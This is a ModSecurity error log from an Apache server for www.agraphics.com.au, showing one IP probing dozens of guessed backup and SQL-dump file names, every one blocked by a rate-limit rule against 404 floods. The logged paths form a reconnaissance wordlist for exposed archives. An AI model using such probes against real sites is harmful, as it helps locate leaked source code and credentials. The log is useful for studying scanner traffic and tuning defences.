[Fri May 15 10:05:52.155787 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:42794] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.tar.gz"] [unique_id "agZ_gN72N9CbeiqcqgPWwgAAAUM"]
[Fri May 15 10:05:52.898099 2026] [:error] [pid 1188:tid 1221] [client 34.97.8.90:42808] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.tgz"] [unique_id "agZ_gNY68iW8yuNkNzPxZgAAABg"]
[Fri May 15 10:05:53.625173 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:42820] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.tar"] [unique_id "agZ_gd72N9CbeiqcqgPWwwAAAUw"]
[Fri May 15 10:05:54.350854 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:42834] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.tar.bz2"] [unique_id "agZ_gt72N9CbeiqcqgPWxgAAAVY"]
[Fri May 15 10:05:55.088475 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:37386] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.tar.xz"] [unique_id "agZ_g9mMhqLvs0GYixkdHwAAAM0"]
[Fri May 15 10:05:55.823688 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:37398] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.7z"] [unique_id "agZ_g972N9CbeiqcqgPWyAAAAVI"]
[Fri May 15 10:05:56.624573 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:37412] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.rar"] [unique_id "agZ_hNmMhqLvs0GYixkdJQAAAM4"]
[Fri May 15 10:05:57.402811 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:37426] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.gz"] [unique_id "agZ_hdmMhqLvs0GYixkdJwAAAMw"]
[Fri May 15 10:05:58.109851 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:37442] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.bz2"] [unique_id "agZ_htmMhqLvs0GYixkdKAAAAMU"]
[Fri May 15 10:05:58.783302 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:37450] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.zst"] [unique_id "agZ_ht72N9CbeiqcqgPWzAAAAVQ"]
[Fri May 15 10:05:59.405860 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:37464] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.sql.gz"] [unique_id "agZ_h972N9CbeiqcqgPWzQAAAUY"]
[Fri May 15 10:06:00.068867 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:37466] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.sql.bz2"] [unique_id "agZ_iN72N9CbeiqcqgPW0AAAAUE"]
[Fri May 15 10:06:00.804340 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:37476] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.sql"] [unique_id "agZ_iN72N9CbeiqcqgPW0gAAAUI"]
[Fri May 15 10:06:01.492714 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:37478] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.zip"] [unique_id "agZ_iR3WbFwE6voqGzrlFwAAAQ0"]
[Fri May 15 10:06:02.195035 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:37486] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.tar.gz"] [unique_id "agZ_it72N9CbeiqcqgPW1AAAAUw"]
[Fri May 15 10:06:02.934567 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:37490] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.tgz"] [unique_id "agZ_it72N9CbeiqcqgPW1wAAAU4"]
[Fri May 15 10:06:03.676938 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:37506] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.tar"] [unique_id "agZ_i9qiXrD7hne4gFbKKAAAAIE"]
[Fri May 15 10:06:04.394962 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:37520] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.tar.bz2"] [unique_id "agZ_jAe36qIGegR4kcmCugAAAEk"]
[Fri May 15 10:06:05.131173 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:60938] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.tar.xz"] [unique_id "agZ_jQe36qIGegR4kcmCvAAAAEQ"]
[Fri May 15 10:06:05.844205 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:60954] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.7z"] [unique_id "agZ_jQe36qIGegR4kcmCvQAAAEo"]
[Fri May 15 10:06:06.614385 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:60958] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.rar"] [unique_id "agZ_jge36qIGegR4kcmCvgAAAFU"]
[Fri May 15 10:06:07.277726 2026] [:error] [pid 50531:tid 50543] [client 34.97.8.90:60964] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.gz"] [unique_id "agZ_jx3WbFwE6voqGzrlGAAAAQo"]
[Fri May 15 10:06:07.988821 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:60976] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.bz2"] [unique_id "agZ_j972N9CbeiqcqgPW4gAAAVg"]
[Fri May 15 10:06:08.694918 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:60982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.zst"] [unique_id "agZ_kN72N9CbeiqcqgPW5QAAAVY"]
[Fri May 15 10:06:09.363521 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:60992] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.sql.gz"] [unique_id "agZ_kd72N9CbeiqcqgPW5wAAAUo"]
[Fri May 15 10:06:10.053168 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:32776] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.sql.bz2"] [unique_id "agZ_kt72N9CbeiqcqgPW6gAAAVM"]
[Fri May 15 10:06:10.823174 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:32782] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.sql"] [unique_id "agZ_kt72N9CbeiqcqgPW6wAAAUY"]
[Fri May 15 10:06:11.548249 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:32790] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.zip"] [unique_id "agZ_k972N9CbeiqcqgPW7AAAAUE"]
[Fri May 15 10:06:12.222304 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:32800] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.tar.gz"] [unique_id "agZ_lN72N9CbeiqcqgPW7QAAAUI"]
[Fri May 15 10:06:12.966329 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:32802] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.tgz"] [unique_id "agZ_lN72N9CbeiqcqgPW8AAAAUc"]
[Fri May 15 10:06:13.649353 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:32806] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.tar"] [unique_id "agZ_ld72N9CbeiqcqgPW8QAAAU4"]
[Fri May 15 10:06:14.406782 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:32812] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.tar.bz2"] [unique_id "agZ_lt72N9CbeiqcqgPW8wAAAUs"]
[Fri May 15 10:06:15.070598 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:44504] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.tar.xz"] [unique_id "agZ_l9qiXrD7hne4gFbKKgAAAIk"]
[Fri May 15 10:06:15.745336 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:44520] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.7z"] [unique_id "agZ_lx3WbFwE6voqGzrlGQAAARg"]
[Fri May 15 10:06:16.438013 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:44528] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.rar"] [unique_id "agZ_mB3WbFwE6voqGzrlGgAAAQc"]
[Fri May 15 10:06:17.114937 2026] [:error] [pid 1190:tid 1267] [client 34.97.8.90:44530] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.gz"] [unique_id "agZ_mdqiXrD7hne4gFbKKwAAAI8"]
[Fri May 15 10:06:17.849584 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:44538] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.bz2"] [unique_id "agZ_mR3WbFwE6voqGzrlHAAAAQI"]
[Fri May 15 10:06:18.543465 2026] [:error] [pid 1190:tid 1272] [client 34.97.8.90:44550] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.zst"] [unique_id "agZ_mtqiXrD7hne4gFbKLAAAAJQ"]
[Fri May 15 10:06:19.251951 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:44554] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.sql.gz"] [unique_id "agZ_mx3WbFwE6voqGzrlHQAAAQE"]
[Fri May 15 10:06:19.933940 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:44568] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.sql.bz2"] [unique_id "agZ_mx3WbFwE6voqGzrlHgAAARU"]
[Fri May 15 10:06:20.692967 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:44582] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application.sql"] [unique_id "agZ_nB3WbFwE6voqGzrlHwAAARM"]
[Fri May 15 10:06:21.363670 2026] [:error] [pid 50531:tid 50537] [client 34.97.8.90:44594] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.zip"] [unique_id "agZ_nR3WbFwE6voqGzrlIAAAAQQ"]
[Fri May 15 10:06:22.009876 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:44596] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.tar.gz"] [unique_id "agZ_nh3WbFwE6voqGzrlIQAAARE"]
[Fri May 15 10:06:22.721898 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:44608] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.tgz"] [unique_id "agZ_nh3WbFwE6voqGzrlIgAAAQ8"]
[Fri May 15 10:06:23.396321 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:44618] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.tar"] [unique_id "agZ_n9mMhqLvs0GYixkdLgAAANI"]
[Fri May 15 10:06:24.096377 2026] [:error] [pid 50531:tid 50542] [client 34.97.8.90:44632] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.tar.bz2"] [unique_id "agZ_oB3WbFwE6voqGzrlIwAAAQk"]
[Fri May 15 10:06:24.772102 2026] [:error] [pid 1189:tid 1231] [client 34.97.8.90:44636] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.tar.xz"] [unique_id "agZ_oAe36qIGegR4kcmCwQAAAEY"]
[Fri May 15 10:06:25.465767 2026] [:error] [pid 50531:tid 50549] [client 34.97.8.90:58956] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.7z"] [unique_id "agZ_oR3WbFwE6voqGzrlJAAAARA"]
[Fri May 15 10:06:26.163293 2026] [:error] [pid 1190:tid 1265] [client 34.97.8.90:58972] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.rar"] [unique_id "agZ_otqiXrD7hne4gFbKLgAAAI0"]
[Fri May 15 10:06:26.837786 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:58976] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.gz"] [unique_id "agZ_oge36qIGegR4kcmCwgAAAEE"]
[Fri May 15 10:06:27.544160 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:58982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.bz2"] [unique_id "agZ_owe36qIGegR4kcmCxQAAAE0"]
[Fri May 15 10:06:28.228579 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:58984] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.zst"] [unique_id "agZ_pAe36qIGegR4kcmCxgAAAEc"]
[Fri May 15 10:06:28.884887 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:58996] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.sql.gz"] [unique_id "agZ_pAe36qIGegR4kcmCyAAAAEg"]
[Fri May 15 10:06:29.586349 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:59006] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.sql.bz2"] [unique_id "agZ_pQe36qIGegR4kcmCygAAAEw"]
[Fri May 15 10:06:30.306497 2026] [:error] [pid 50531:tid 50555] [client 34.97.8.90:59008] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/frontend.sql"] [unique_id "agZ_ph3WbFwE6voqGzrlJgAAARY"]
[Fri May 15 10:06:31.007207 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:59024] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backend.zip"] [unique_id "agZ_pwe36qIGegR4kcmCywAAAEI"]
